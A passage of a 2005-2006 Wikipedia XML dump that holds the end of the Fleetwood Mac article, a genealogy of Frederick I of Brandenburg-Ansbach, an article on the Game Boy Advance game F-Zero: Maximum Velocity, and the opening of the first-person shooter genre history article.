* &quot;Albatross [instrumental]&quot; [#1 UK - 2 weeks]/&quot;Jigsaw Puzzle Blues [instrumental]&quot; (Jan 1969, Epic)
* &quot;Man Of The World&quot; (1969) [#2 UK] /&quot;Somebody's Gonna Get Their Head Kicked In Tonight&quot; (B-side as &quot;Earl Vince and the Valiants&quot;) (April 1969, Immediate)
* &quot;Rattlesnake Shake&quot;/&quot;Coming Your Way&quot; (September 1969, Reprise)
* &quot;Oh Well pts 1 &amp; 2&quot; [#55 US, #2 UK] (November 1969, Reprise) 
* &quot;[[The Green Manalishi]]&quot;  [#10 UK] /&quot;World In Harmony [instrumental]&quot; (June 1970, Reprise)

'''Transitional Era'''
* &quot;Jewel Eyed Judy&quot;(written for good friend [[Judy_Wong_(promoter)|Judy Wong]])/&quot;Station Man&quot;
* &quot;Dragonfly&quot;/&quot;The Purple Dancer&quot;
* &quot;Sands Of Time&quot;/&quot;Lay It All Down&quot;
* &quot;Sentimental Lady&quot;/&quot;Sunny Side Of Heaven [instrumental]&quot;
* &quot;Did You Ever Love Me&quot;/&quot;The Derelict&quot;
* &quot;Spare Me A Little Of Your Love&quot;/&quot;Sunny Side Of Heaven [instrumental]&quot;
* &quot;Remember Me&quot;/&quot;Dissatisfied&quot;
* &quot;Did You Ever Love Me&quot;/&quot;Revelation&quot;
* &quot;For Your Love&quot;/&quot;Hypnotized&quot;
* &quot;Heroes Are Hard To Find&quot;/&quot;Born Enchanter&quot;

'''With Christine McVie/Lindsey Buckingham/Stevie Nicks'''

* &quot;Over My Head&quot; (1976) #20 US
* &quot;Rhiannon&quot; (1976) #11 US, #46 UK
* &quot;Say You Love Me&quot; (1976) #11 US, #40 UK
* &quot;Go Your Own Way&quot; (1977) #10 US, #38 UK
* &quot;Dreams&quot; (1977) #1 US - 1 week, #24 UK
* &quot;Don't Stop&quot; (1977) #3 US, #32 UK
* &quot;You Make Loving Fun&quot; (1977) #9 US, #45 UK
* &quot;Tusk&quot; (1979) #8 US, #6 UK
* &quot;Sara&quot; (1979) #7 US, #37 UK
* &quot;Think About Me&quot; (1980) #20 US
* &quot;Sisters Of The Moon&quot; (1980) #86 US
* &quot;Fireflies&quot; (1981) #60 US
* &quot;Hold Me&quot; (1982) #4 US
* &quot;Gypsy&quot; (1982) #12 US, #46 UK
* &quot;Love In Store&quot; (1982) #22 US 
* &quot;Oh Diane&quot; (1982) #9 UK
* &quot;Big Love&quot; (1987) #5 US, #9 UK
* &quot;Seven Wonders&quot; (1987) #19 US, #56 UK
* &quot;Little Lies&quot; (1987) #4 US, #5 UK
* &quot;Everywhere&quot; (1988) #14 US, #4 UK
* &quot;Family Man&quot; (1988) #90 US, #54 UK
* &quot;Isn't It Midnight&quot; (1988) #60 UK
* &quot;As Long As You Follow&quot; (1988) #43 US, #66 UK
* &quot;Save Me&quot; (1990) #33 US, #53 UK
* &quot;In The Back Of My Mind&quot; (1990) #58 UK
* &quot;Silver Springs&quot; (1997) #41 US 
* &quot;Landslide&quot; (1998) #51 US
* &quot;Peacekeeper&quot; (2003) #80 US

==Trivia==
When the single &quot;Peacekeeper&quot; was released, the album version lyric &quot;Take no prisoners, only kill&quot; was replaced for radio with &quot;Take no prisoners, break their will&quot;.

==See also==
*[[Best selling music artists]]

== External links ==
* [http://www.fleetwoodmac.com/ Official website of Fleetwood Mac]
* [http://fleetwoodmac.org Unofficial Fleetwood Mac Fan Site]
* [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=11:38q8g4jttvoz AMG Entry on Fleetwood Mac]
* [http://musicmoz.org/Bands_and_Artists/F/Fleetwood_Mac/ MusicMoz directory for Fleetwood Mac]
* [http://petergreen.oyla.de/ Peter Green-Fanpage Deutschland/Germany]
* [http://www.lyricsdir.com/fleetwood-mac-lyrics.html Fleetwood Mac Lyrics]
* [http://www.guitartablaturearchive.net/fleetwoodmactabs.html Fleetwood Mac Guitar Tabs]
* [http://www.stevienickschain.com Fleetwood Mac FAN CLUB]
* [http://www.fleetwoodmac-uk.com Go Your Own Way - The UK's resource for Fleetwood Mac]
* [http://www.jeremyspencer.com Jeremy Spencer from Fleetwood Mac - official website]

[[Category:Fleetwood Mac|*]]
[[Category:Active musical groups]]
[[Category:Rock music groups]]
[[Category:Rock and Roll Hall of Fame inductees]]

[[de:Fleetwood Mac]]
[[es:Fleetwood Mac]]
[[fr:Fleetwood Mac]]
[[it:Fleetwood Mac]]
[[ja:フリートウッド・マック]]
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[[tr:Fleetwood Mac]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick I, Margrave of Brandenburg-Ansbach</title>
    <id>11788</id>
    <revision>
      <id>31599150</id>
      <timestamp>2005-12-16T11:31:20Z</timestamp>
      <contributor>
        <username>Kmorozov</username>
        <id>238736</id>
      </contributor>
      <comment>/* Family and children */</comment>
      <text xml:space="preserve">'''Friedrich, Margrave of Ansbach and Bayreuth''', known as '''Friedrich I''' or '''Friedrich V''' ([[8 May]] [[1460]]-[[4 April]] [[1536]]) was born at [[Ansbach]], the eldest son of the [[Albert III, Margrave of Brandenburg]] by his second wife Anna, daughter of the [[Frederick II, Elector of Saxony]]. His elder half-brother was the Elector [[Johann Cicero]] of Brandenburg. Friedrich succeeded his father as [[Margrave of Ansbach]] in [[1486]] and his younger brother as [[Margrave of Bayreuth]] in [[1495]].

==Family and children==
On [[14 February]] [[1479]] at [[Frankfurt an der Oder]] he was married to Sofie of Poland ([[6 April]] [[1464]]-[[5 October]] [[1512]]), daughter of King [[Casimir IV of Poland]] by his wife Elisabeth of [[Habsburg]], and sister of King [[Sigismund I of Poland]]. They had seventeen children:
# [[Kasimir, Margrave of Bayreuth]] ([[27 September]] [[1481]], Ansbach&amp;ndash;[[21 September]] [[1527]], [[Ofen an der Ruhr]]).
# [[Georg, Margrave of Brandenburg-Ansbach|Georg &quot;der Fromme&quot;]] ([[4 march]] [[1484]], Ansbach&amp;ndash;[[27 December]] [[1534]], Ansbach).
# [[Albert of Prussia]] ([[17 May]] [[1490]], Ansbach&amp;ndash;[[20 March]] [[1568]], Castle [[Tappiau]]), Grand Master of the [[Teutonic Order]] and then first [[Duke of Prussia]].
# Friedrich ([[13 June]] [[1491]], Ansbach&amp;ndash;ca. [[1497]]).
# Johann, Viceroy of [[Valencia]] ([[9 January]] [[1493]], [[Plassenburg]]&amp;ndash;[[5 July]] [[1525]], [[Valencia]]).
# Freidrich ([[17 January]] [[1497]], Ansbach&amp;ndash;[[20 August]] [[1536]], [[Genoa]]), a canon in [[Würzburg]] and [[Salzburg]].
# [[William of Brandenburg|Wilhelm]], ([[30 June]] [[1498]], Ansbach&amp;ndash;[[4 February]] [[1563]], [[Riga]]), Archbishop of [[Riga]] in 1539-63.
# Johann Albrecht ([[20 September]] [[1499]],Ansach&amp;ndash;[[17 May]] [[1550]], [[Halle]]), Archbishop of [[Magdeburg]] in 1545-50.
# Friedrich Abrecht, died young.
# Gumprecht ([[16 July]] [[1503]], Ansbach&amp;ndash;[[25 June]] [[1528]], [[Naples]]), a canon in [[Bamberg]].
# Elisabeth, died young.
# Margarete ([[10 January]] [[1483]], Ansbach&amp;ndash;[[10 July]] [[1532]]).
# Sofie ([[10 March]] [[1485]], Ansbach&amp;ndash;[[24 May]] [[1537]], [[Liegnitz]]), married [[14 November]] [[1518]] to Duke [[Friedrich II of Liegnitz]].
# Anna ([[1487]], Ansbach&amp;ndash;[[7 February]] [[1539]]), married [[1 December]] [[1518]] to Duke [[Wenzel III of Teschen]].
# Barbara, died young.
# Elisabeth ([[25 March]] [[1494]], Ansbach&amp;ndash;[[31 May]] [[1518]], [[Pforzheim]]), married in Pforzheim [[29 September]] [[1510]] to Margrave [[Ernst of Baden-Durlach]].
# Barbara ([[24 September]] [[1495]], Ansbach&amp;ndash;[[23 September]] [[1552]]), married in [[Plassenburg]] [[26 July]] [[1528]] to Landgrave [[Georg of Leuchtenberg]].

{{start box}}
{{succession box | title=[[Fürst und Markgraf von Ansbach]] | before=[[Albert III, Margrave of Brandenburg|Albrecht Achilles]] | years=1486&amp;ndash;1541 | after=[[Georg, Margrave of Brandenburg-Ansbach|Georg]]}}
{{succession box | title=[[Fürst von Bayreuth]] | before=[[Siegmund, Margrave of Bayreuth|Siegmund]] | years=1495&amp;ndash;1541 | after=[[Kasimir, Margrave of Bayreuth|Kasimir]]}}
{{end box}}

==External links==
* [http://genealogy.euweb.cz/hohz/hohenz2.html House of Hohenzollern]

[[Category:1460 births|Brandenburg-Ansbach, Frederick I, Margrave of]]
[[Category:1536 deaths|Brandenburg-Ansbach, Frederick I, Margrave of]]
[[Category:Margraves of Brandenburg-Ansbach]]
[[Category:Margraves of Bayreuth]]

[[de:Friedrich V. (Brandenburg-Ansbach)]]</text>
    </revision>
  </page>
  <page>
    <title>F-Zero: Maximum Velocity</title>
    <id>11790</id>
    <revision>
      <id>41225643</id>
      <timestamp>2006-02-25T22:31:02Z</timestamp>
      <contributor>
        <username>Heywøød</username>
        <id>991509</id>
      </contributor>
      <comment>removed redundant categories</comment>
      <text xml:space="preserve">{{Infobox CVG| title = F-Zero: Maximum Velocity
|image = [[Image:Fzeromv.jpg|center|170px|F-Zero: Maximum Velocity box art]]
|developer = [[Nintendo]]
|publisher = [[Nintendo]]
|designer = [[Takehiro Izushi]], [[Hitoshi Yamagami]]
|engine = 
|released = [[Image:Flag of Japan.svg|22px|Japan]] [[March 21]], [[2001]]&lt;br /&gt;[[Image:Flag of the United States.svg|22px|North America]] [[June 10]], [[2001]]&lt;br /&gt;[[Image:European flag.svg|22px|Europe]] [[June 22]], [[2001]]
|genre = [[Racing game]]
|modes = [[Single-player]], [[multiplayer]]
|ratings = [[Computer Entertainment Rating Organization|CERO]]: [[Image:Mark d.gif|15px]] All ages&lt;br&gt;[[ESRB]]: [[Image:ESRB_E.png|12px|E]] Everyone
|platforms = [[Game Boy Advance]]
|media = 32-[[megabit]] [[cartridge]]
|requirements = 
|input = 
}}
[[Image:Fzero 0604 screen013.jpg|thumb|right|A Cloud Carpet race in F-Zero: Maximum Velocity.]]
'''''F-Zero Maximum Velocity''''' ('''''F-Zero for Game Boy Advance''''' in Japan) is a futuristic racing game for [[Game Boy Advance]].
It allows for competition against simulated opponents or human opponents. You must race hovering vehicles along long courses at extremely high speeds and win while avoiding crashes. The game was released at the same time as the system, on [[March 21]], [[2001]] in Japan, [[June 10]], 2001 in North America and across Europe on [[June 22]], 2001.
==Gameplay Basics==
===Races===
Every race consists of five laps around a race track. The race will end prematurely if the player lands outside of the track after a jump, destroys their car by depleting its energy, completes a lap in too low of a rank, or drops to 20th place; all of these conditions necessitate the player using an extra life (if available in the Grand Prix) to try again.

===Boost===
At the end of every lap the player is given one boost. This boost may be used at any time during a game by pressing both shoulder buttons at the same time. A boost will dramatically increase a player's speed, but will decrease their ability to turn. A boost used before a jump will make the player jump farther, allowing the player to use a shortcut.

===Turning===
There are different ways to turn your vehicle without hitting the wall: the shoulder buttons slide the vehicle in each direction and tapping the acceleration button rapidly makes turning considerably easier. This is important because the courses in the game contain many sharp turns, sometimes 180 degrees.

==Grand Prix==
The Grand Prix is the main single player component of ''Maximum Velocity''. It consists of four series (one hidden), each containing five races. The player needs to be in the top three at the end of the last lap in order to continue to the next race. If the player is unable to continue, the player will lose a life and can try the race again. If the player runs out of lives, then the game ends, and the player has to start the series from the beginning.
===Courses===
====Pawn Grand Prix====
#Bianca City: Stretch Circuit (also known as Pwn 1)
#Stark Farm: First Circuit 
#Empyrean Colony: Dash Circuit 
#Stark Farm: Second Circuit 
#Cloud Carpet: Long Jump

====Knight Grand Prix====
#Tenth Zone East: Snake Circuit 
#Beacon Port: Crossroads Circuit 
#Synobazz: Explosive Circuit 
#Ancient Mesa: Split Circuit 
#Stark Farm: Third Circuit 
====Bishop Grand Prix====
#Bianca City: Tightrope Circuit 
#Ancient Mesa: Skating Circuit 
#Crater Land: Skid Zone 
#Cloud Carpet: Icarus Circuit
#Bianca City: Ultimate Circuit 
====Queen Grand Prix====
#Crater Land: Loop Circuit 
#Tenth Zone East: Plummet Circuit 
#Empyrean Colony: Twist Circuit 
#Fire Field: Land Mine Circuit 
#Fire Field: Warrior Circuit

==Championship==
Championship is another single player component. It is basically the same as a &quot;Time Attack&quot; mode, except the player can only race on one, special course: the Synobazz Championship Circuit. This special course is not selectable in Multi Cartridge vs.

==Multiplayer==
''Maximum Velocity'' can be played in two multiplayer modes using the Game Boy Advance link cable, with one cartridge, or one cartridge per player. Two to four Players can play in both modes. 

===Single cartridge===
In single cart, only one player needs to have a cartridge. The other players will boot off of the link cable network from the player with the cart using the GBA's [[GBA Network Boot|netboot]] capability. All players drive a generic craft, and the game can only be played on one level, Silence. Silence's name comes from the fact that it has no sound.

===Multi cartridge===
In multi cart, each player needs to have a cartridge to play.

This has many advantages over single cart:
*All players can use any machine in this game that has been unlocked by another player.
*Players can select any course in this game.
*After race is finished, all of the player's ranking data are mixed and shared (&quot;Mixed ranking&quot; stored in each cart).

==Points of Interest==
Maximum Velocity is a continuation of the ''[[F-Zero series|F-Zero racing game series]]'', the previous game being ''[[F-Zero X]]'' ([[1998]]) for the [[Nintendo 64]]. It is the only US-released F-Zero game without [[Captain Falcon]], Samurai Goroh, Pico, or Dr. Stewart. Maximum Velocity is the first F-Zero title on the [[Game Boy Advance]], first F-Zero game with 3 save slots and also the first F-Zero game to feature customizable controls.&lt;br&gt; 
By chronology, Maximum Velocity takes place a quarter of a century after F-Zero X. Aside from the main [[Nintendo GameCube|GameCube]] console sequel ''[[F-Zero GX]]'' ([[2003]]), two GBA sequels have been released since: ''[[F-Zero: GP Legend (game)|F-Zero: GP Legend]]'' ([[2004]]) and ''F-Zero: Climax'' ([[2005]]).&lt;br&gt;
The current World Champion of F-Zero: Maximum Velocity is from Japan, and is one of several hundred competitors. Similar competition also exists on other games in the F-Zero franchise.

==External links==
*[http://www.mrfixitonline.com/List.asp?ListId=493 F-Zero Maximum Velocity World Records Page]
&lt;br&gt;

{{F-Zero series}}

[[Category:F-Zero series]]
[[Category:Game Boy Advance games]]
[[Category:2001 computer and video games]]

[[fr:F-Zero: Maximum Velocity]]
[[ja:F-ZERO FOR GAMEBOY ADVANCE]]</text>
    </revision>
  </page>
  <page>
    <title>First-person shooter</title>
    <id>11791</id>
    <revision>
      <id>41663010</id>
      <timestamp>2006-02-28T22:36:57Z</timestamp>
      <contributor>
        <ip>82.44.25.182</ip>
      </contributor>
      <comment>/* Selected important games in FPS development */</comment>
      <text xml:space="preserve">[[Image:Doom ingame 2.png|thumb|right|265px|''[[Doom]]'', one of the games that defined the first-person shooter genre.]]

A '''first-person shooter''' ('''FPS''') is a combat [[Computer and video games|computer or video game]] genre, which is characterized by the player’s on-screen view of the game simulating that of the character or First Person view.

Games like ''[[Battlezone]]'', or many [[flight simulator]]s might at first seem to be included in this broad definition, however, in the early [[1990s]], the term came to define a more specific type of game with a first-person view, almost always centered around the act of aiming and shooting weapons and usually limited ammunition. [[On-rails shooter]]s are often viewed from a first-person perspective but are a sub-genre of FPS rather than a FPS proper. 

The modern FPS [[video game genres|genre]] emerged during the early 1990s, at the point when home computers became sufficiently powerful to draw basic [[3D graphics]] in realtime. The breakthrough games were [[id Software]]'s ''[[Wolfenstein 3D]]'' and ''[[Doom]]''. The latter, in particular, defined the genre so emphatically that FPS games were commonly referred to as &quot;[[Doom clone]]s&quot; for a significant period after its release.

First-person shooters have been subject to substantial [[video game controversy|controversy]] due to the levels of violence included in most games, and the visual realism that can be more inherent in the shooting of things in a first-person perspective.

==Overview==
The first-person shooter can be considered a sub-genre of [[shooter game]]s, though almost all other two dimensional shooter games, especially [[shoot 'em up]]s, are more concerned with the gameplay mechanic of dodging than of precise aiming. The term FPS has recently come to refer to games where the player has full control over a character and can interact directly with the environment, although any game in first perspective that is a shooter is considered an FPS, for example [[Duck Hunt]] is an FPS game. 

Many '''[[third-person shooter]]s''' (where the player sees the game world from a viewpoint above and behind the main character) are commonly treated as first-person shooters, due to similarities in gameplay. In some cases (for example, ''[[Unreal Tournament 2004]]'', ''[[Command &amp; Conquer: Renegade]]'', ''[[Star Wars Battlefront II]]'', ''[[Oddworld: Stranger's Wrath]]'' or ''[[Duke Nukem 3D]]'') it is possible to toggle the game between both viewpoints. 

===Sub-genres===
The realism in FPS games can vary from [[arcade shooter]]s, which are fast paced and have unrealistic elements (such as the player being able to shrug off bullets or falling large distances) to levels approaching reality, where players are routinely killed by a single shot. In practice, most games fall somewhere between the two.

Distinct FPS sub-genres exist, which use a similar viewpoint and mechanics, but emphasise different aspects of FPS gameplay.

* The [[stealth-based game]] or &quot;first-person sneaker&quot; centers on avoiding detection by opponents (for example, ''[[Thief (computer game)|Thief]]'', ''[[Splinter Cell|Splinter Cell]]'').
* The [[tactical shooter]] emphasises tactics (''[[Tom Clancy's Rainbow Six|Rainbow Six]]'', ''[[Tom Clancy's Ghost Recon|Ghost Recon]]'' and other games based on novels by [[Tom Clancy]]; and games such as ''[[Counter-Strike]]'', ''[[America's Army]]'', ''[[Operation Flashpoint]]'' , ''[[Killzone]]'' and ''[[Tactical Ops]]'')
* [[Run and gun]] first-person shooters are fast-paced and action-focused. They often contain a large number of enemies, and allow the player to sustain unrealistic amounts of damage without dying. Many of the older FPSs such as ''[[Doom]]'' and ''[[Quake series|Quake]]'' are in this genre, as well as many more recent titles like ''[[Serious Sam]]'', ''[[BLACK]]'' and the [[Halo (video game series)|''Halo'' series]]. Some recent titles take this to the extreme. Titles like Will Rock, Nitro Family, and Painkiller concentrate on swamping you with massive amounts of potential gibbage and have usually only a nominal storyline.
* The action/adventure shooter has larger environments and a greater emphasis on puzzle-solving and exploration (''[[System Shock 2]]'', ''[[Deus Ex]]'', ''[[Metroid Prime]]'', and ''[[Half-Life]]'' being examples).
* There have also been games that blend [[Real-time strategy]] gameplay to FPSes. Some of the early pioneers were ''[[Golgotha (computer game)|Golgotha]]'' and ''[[Battlezone (computer game)|Battlezone]]''. In these games, the player appears on the field as a single unit, but is able to give commands to other units, construct new units, and control the overall strategy. Some RTS/FPS hybrids use teamplay approach where one player is the commanding officer, responsible for the strategy part, and the other team members are ordinary soldiers. Some newer examples include ''[[Natural Selection (computer game)|Natural Selection]]'' and ''[[Savage: The Battle for Newerth|Savage]]''.

The lines between these sub-genres are often blurred; games such as ''[[Perfect Dark Zero]]'' and ''[[XIII (game)|XIII]]'' include stealth elements—avoiding detection being advantageous in certain situations—in addition to action-packed sequences more typical of a &quot;run and gun&quot; FPS.

Many first-person shooters are designed primarily as [[multiplayer]] games, and the single-player component (if any) consists entirely of play against [[Computer game bot|bots]]. Notable examples include ''[[Quake III Arena]]'', ''[[Counter-Strike]]'', ''[[Unreal Tournament]]'' and ''[[America's Army]]''. The ''[[TimeSplitters]]'' series began as a [[Split screen (computer graphics)|split screen]] multiplayer-focused game, although its single-player modes have since become more elaborate.

The [[Massively multiplayer online first-person shooter|MMOFPS]] combines first-person shooter gameplay with a large number of simultaneous players over the Internet. ''[[World War II Online]]'' and ''[[PlanetSide]]'' are pioneers of this new sub-genre.

Some FPS games strive to increase the realism of graphics and game environments, while retaining unrealistic gameplay. As a result, in many games the player has exaggerated physical capabilities and resiliency that allow him to make manoeuvres such as &quot;grenade jumping&quot;, which is an action that allows the player to gain an extension to normal jumps by blast effects. The extended jump is possible with other game weapons and can thus have different names: for instance, the ''[[Quake]]'' series allows &quot;rocket jumping&quot;. Other maneuvers common in FPS games are [[straferunning]] and [[circlestrafing]].

For many, the appeal of the FPS lies in immersive frantic blasting with a touch of verisimilitude, humour, puzzle-solving, and [[claustrophobia]]. For others, the single player mode in story-oriented games can have compelling narratives which allow for added element of drama in the games.

===Game conventions===
* One of the genre conventions is that crates, barrels, and similar objects are used often to &quot;decorate&quot; levels, in an attempt to give the player a more detailed and interactive environment. Crates are many times used to provide a jumping boost, whilst many barrels tend to be explosive (a legacy from Doom)
* The player normally begins with a single weak weapon, ranged or not, most likely the weakest. As he progressively obtains stronger weapons, so do the enemies become more difficult, in an attempt to balance the difficulty level of the game.
* Another traditional convention lies with the necessity of pushing buttons and levers so as to open doors and allow for the progression of the player. In earlier games, the button and the door it opens would frequently be on opposite sides of the level for no logical reason. This convention has diminished somewhat in favor of scripted events, although it is still quite visible in some games

===Platforms and hardware development===
The primary platform for modern FPSs has traditionally been the [[IBM PC compatible|PC]], though there have been notable games on other platforms, and the number of releases on consoles are increasing steadily.

FPS are among the most demanding programs for computing resources, persuading many users to upgrade computers that are still suitable for more mundane tasks, such as online browsing and office work. According to [[IDC]] analyst Roger Kay, high-end games serve as a catalyst for the mainstream personal computer market. FPS games can stretch the capabilities of CPUs and the [[graphics card|graphics cards]] ([http://news.com.com/2100-1043_3-5295390.html]). The rise of the genre has been a significant driver in the market for consumer graphics cards, particularly with regard to support for [[3D acceleration|hardware acceleration of 3D graphics]]. Recently, consumer [[head-mounted display|HMDs]] have been introduced which should further drive developments in [[Virtual Reality|virtual reality]] technology and better game play by providing a more [[immersive]] experience.

===Online play and mods===
Most FPSs feature competitive and/or co-operative [[Internet|online]] [[multiplayer]] modes. Players of these games often form into teams, or &quot;[[clan (computer gaming)|clans]]&quot; and participate in organised tournaments and championships. Some of these contests have sufficient prize funds to allow players to turn partially or even fully professional.

Among modern video game styles, FPSs were the first genre to gain a widespread online gaming community. This was due to a deliberate policy of innovation by games developers (notably by id Software), aided by the combination of two technical factors: The relatively small number of moving objects in the game world (particularly in early games) reduces the amount of information to be transmitted across the network, and the relatively large distances between player [[avatar (virtual reality)|avatars]] (compared to, say, [[fighting game]]s) mitigates the effect of the inevitable network [[lag]]. Despite these effects, these games remain highly sensitive to network speed, and complaints about lag are still common.

Many FPS games are designed with a core [[game engine]], separate from the graphics, game rules, and [[level (computer and video games)|level]]s. This enables developers to reuse or [[license]] the core software for other games. This &quot;plug-in&quot; design, combined with the general-purpose nature of the PC (compared to consoles) allows amateur [[programmer]]s to add new elements to games, such as new rules, characters or weapons without having access to the underlying technology. This process is known as &quot;[[mod (computer gaming)|modding]]&quot;, from ''mod''ification.

Indeed, it is a common characteristic of FPSs that players and enthusiasts are able to create their own levels (''see'' [[level design]]) or even change overall graphical appearance and gameplay for distribution to other fans. Normally, this distribution must be done for free in order to abide by the developer's license. This has contributed to the longevity both of the genre and of individual games. Some games even serve as a basis for [[total conversion]]s, where all of the game content is replaced, leaving only the basic game engine intact. Many games now include the software the designers used to make levels, such as ''[[UnrealEd]]'' for the [[Unreal]] series. The amount of custom levels made for a game is heavily affected by how popular the game is and the size of the community available to play the map. For example, ''[[Wolfenstein: Enemy Territory]]'' increases the potential audience for a user-created level by allowing a custom level to be downloaded when a player connects to a server, as opposed to requiring the levels to be downloaded and installed in advance.

The communities of amateur programmers around FPS games can often become recruiting grounds for development companies; [[Valve Software]] have taken this as far as recruiting the core development teams of mods and releasing their product commercially.

==History==
:''(See [[first person shooter graphics engines]] for a history of FPS graphic engines)''

The first-person shooter, as the phrase is currently understood, emerged in the early [[1990s]]. However, the modern genre is a logical extension of earlier games, particularly those involving 3D graphics. While these early games are not First-Person Shooters in the modern sense, many of them come very close in gameplay terms, and many others contained ideas which later influenced the modern genre.

===Beginnings===
It is not clear exactly when the first FPS was created. There are two claimants, ''[[Spasim]]'' and ''[[Maze War]]''. The uncertainty about which was first stems from the lack of any accurate dates for the development of ''Maze War'' &amp;mdash; even its developer [http://www.digibarn.com/history/04-VCF7-MazeWar/stories/colley.html cannot remember exactly]. In contrast, the development of Spasim is much better documented, and the dates more certain.

The initial development of ''[[Maze War]]'' probably occurred in the summer of [[1973]]. A single player made their way through a simple maze of corridors rendered using fixed perspective. Multiplayer capabilities, with players attempting to shoot each other, were probably added later in 1973 (two machines linked via a serial connection) and in the summer of 1974 (fully networked).

''[[Spasim]]'' was originally developed in the spring of [[1974]]. Players moved through a wire-frame 3D universe, with gameplay resembling the 2D game ''[[Empire (computer game)|Empire]]''. Graphically, ''Spasim'' lacked even hidden line removal, but did feature online multiplayer over the world-wide university-based [[PLATO network]]. 

===1979-1990: Arcades and home computers===
[[Image:Arcade-atari-battlezone1.png|thumb|150px|''Battlezone'' ([[Arcade game|arcade]])]]
The next significant games arrived in the [[video arcade]] boom of the late [[1970s]]. The [[1979]] game ''[[Tail Gunner]]'' was the first commercial game to provide a first-person perspective. Players could not move through the simulated world, but fought off opponents from a fixed point in space.

[[1980]]'s ''[[Battlezone]]'', a tank combat simulator, allowed players to move around the game world in their battle with computer-controlled enemies, and thus became the earliest widely-available first-person shooter in arcades. It was a resounding commercial success.

[[Image:A5200_Rescue_On_Fractalus.png|thumb|150px|left|''Rescue on Fractalus'' ([[Atari 5200]])]]
[[Image:3-Demon.gif|thumb|150px|right||''3-Demon'' (IBM PC)]]
In the early 1980s, the [[home computer]] market grew rapidly. While these machines were relatively low-powered, limited first-person-perspective games appeared early on. ''[[Star Raiders]]'' (1979) gave the player the perspective of a spaceship pilot flying through a streaming 3D starfield; motion was unrestricted, but the environment consisted only of stars and individual moving objects, with no 3D scene rendering at each individual frame. ''[[3D Monster Maze]]'' (1981) for the [[Sinclair ZX81]] was the first truly 3D first-person adventure game on a home computer, although not a shooter. ''[[Phantom Slayer]]'' (1982) restricted the player to 90-degree turns, allowing &quot;3D&quot; corridors to be drawn with simple fixed-perspective techniques. In these games, computer-controlled opponents were drawn using bitmaps. ''[[3D Deathchase]]'' (1982) on the [[ZX Spectrum]] featured a 3D shooter chase through a forest, with the 3D being created using drawings of trees getting larger as they moved closer to the player. Similar to ''Phantom Slayer'', the 1983 game ''[[3-Demon]]'' was a 3D version of [[PacMan]] for the IBM PC situating the player first-person inside the ''PacMan'' maze.

[[Image:ST_Midi_Maze.png|thumb|150px|''MIDI Maze'' ([[Atari ST]])]]
Numerous other &quot;tricks&quot; were used by programmers to simulate 3D graphics. Examples include two early games from Lucasarts, ''[[Rescue on Fractalus]]'' ([[1984]]) which used fractal techniques to generate an alien landscape for the player to fly over, and ''[http://www.ataritimes.com/8-bit/reviews/eidolon.html The Eidolon]'' ([[1985]]) which scaled simple bitmaps to create the illusion of 3D. Other good examples of 8-bit first-person 3D games are [[Pete Cooke]]'s ZX Spectrum titles ''[[Tau Ceti (computer game)|Tau Ceti]]'' (1985) and ''[[Micronaut One (computer game)|Micronaut One]]'' (1987), the former having a 3D planetary environment and the latter involving the player's ship travelling through wireframe tunnels.

Later in the decade, the arrival of a new generation of home computers such as the [[Atari ST]] and the [[Amiga]] increased the computing power and graphical capabilities available, leading to a new wave of innovation.

The first true 3D flat-polygon (hidden surface) first-person shooter was the single-player ''[[Driller]]'', in [[1987]], using the acclaimed [[Freescape engine]]. It lacked most modern graphical features such as textures and colors. Other FPS games of the flat-polygon era include ''[[Faceball 2000]]'', and ''[[MIDI Maze]]'', notable for its networked multiplayer feature (communicating via the computer's [[MIDI]] interface, of all things).

===1991-1993: Defining the genre===
By [[1990]] the technology to render very simple flat-colored 3D worlds was widespread, and was being used extensively in simulator games such as ''[[Abrams M1]]'', ''[[LHX: Attack Chopper]]'', and others.

In April [[1991]], the then-unknown [[id Software]] released ''[[Hovertank 3D]]''. Various assumptions about the game world simplified the processing sufficiently to allow real-time rendering of a 3D maze. The game environment was a simple flat grid-based map, with enemies rendered as [[sprite (computer graphics)|sprites]]. Later the same year, a modified version of the same game engine, adding texture-mapped walls, was used in ''[[Catacomb 3D]]'', which also introduced the concept of showing the player's hand on-screen, strengthening the illusion that the player is literally viewing the world through the character's eyes.

[[image:Wolf3dtitle.jpg|thumb|Wolfenstein 3D title screen]]
In [[1992]], id improved the technology by adding support for [[VGA]] graphics in ''[[Wolfenstein 3D]]'' which surprisingly was only created by 13 people in 2 months. With these improvements over its predecessors, Wolf 3D was a hit, and marked the emergence of the modern FPS genre. 

A lesser-known predecessor to Wolf 3D is [[Ultima Underworld]] (1992), developed by [[Looking Glass Studios]] and marketed by [[Origin Systems]]. Unlike Wolf, Underworld supported many true 3D features such as non-perpendicular walls, walls of varying heights, and inclined surfaces. A technology demo of this game was, in fact, John Carmack&amp;rsquo;s inspiration for Wolfenstein 3D&amp;rsquo;s game engine.

''Wolfenstein 3D'' was soon surpassed by id's next game, the genre-defining ''[[Doom]]'' ([[1993]]). While still using sprites to render in-game opponents, ''Doom'' added texture-mapping to the floor and ceiling, and removed some of the restrictions of earlier games. Walls could vary in height, with floor and ceiling changing levels to create cavernous spaces and raised platforms. In some areas, ''Doom'' removed the ceiling altogether to create the outdoor environments that were generally lacking in previous genre games. However, there were still significant limitations on the environment; all surfaces were strictly horizontal or vertical, and a map could not &quot;stack&quot; floors one above another. 

While the graphical enhancements were notable, ''Doom'''s greatest innovation was the introduction of network multiplayer capabilities. While similar multiplayer modes had existed in previous mainframe- or arcade-based games, ''Doom'' was the first mass-market game to gain a significant following dedicated to multiplayer (usually, but not exclusively, [[local area network|LAN]]-based) contests, and guaranteed persistence of the FPS in gaming formats; the real thrill of these already-atmospheric games comes from blasting human opponents, be they friends or strangers on the Internet. ''Doom'' was also one of the earliest FPS games to gain an active community of fans producing add-on maps.

===1994-2000: After ''Doom''===
''Doom'' dominated the genre for years after its release. Every new game in the genre was held up against id's masterpiece, and usually suffered by comparison. However, some developers wisely chose not to attack ''Doom'' head-on, but instead to concentrate on its weaker aspects, or expand the new genre in alternative directions.

''[[Marathon (computer game)|Marathon]]'' ([[1994]]), together with its sequels [[Marathon 2: Durandal]] ([[1995]]) and [[Marathon ∞]] ([[1996]]), included a strong plot, revealed through a series of computer terminals, a radical change from the simplistic &quot;blast anything that moves&quot; style of most earlier FPSs. Unfortunately, these games did not reach a wide audience, being released on the [[Apple Macintosh]] platform, and only ''Durandal'' being released on the PC.

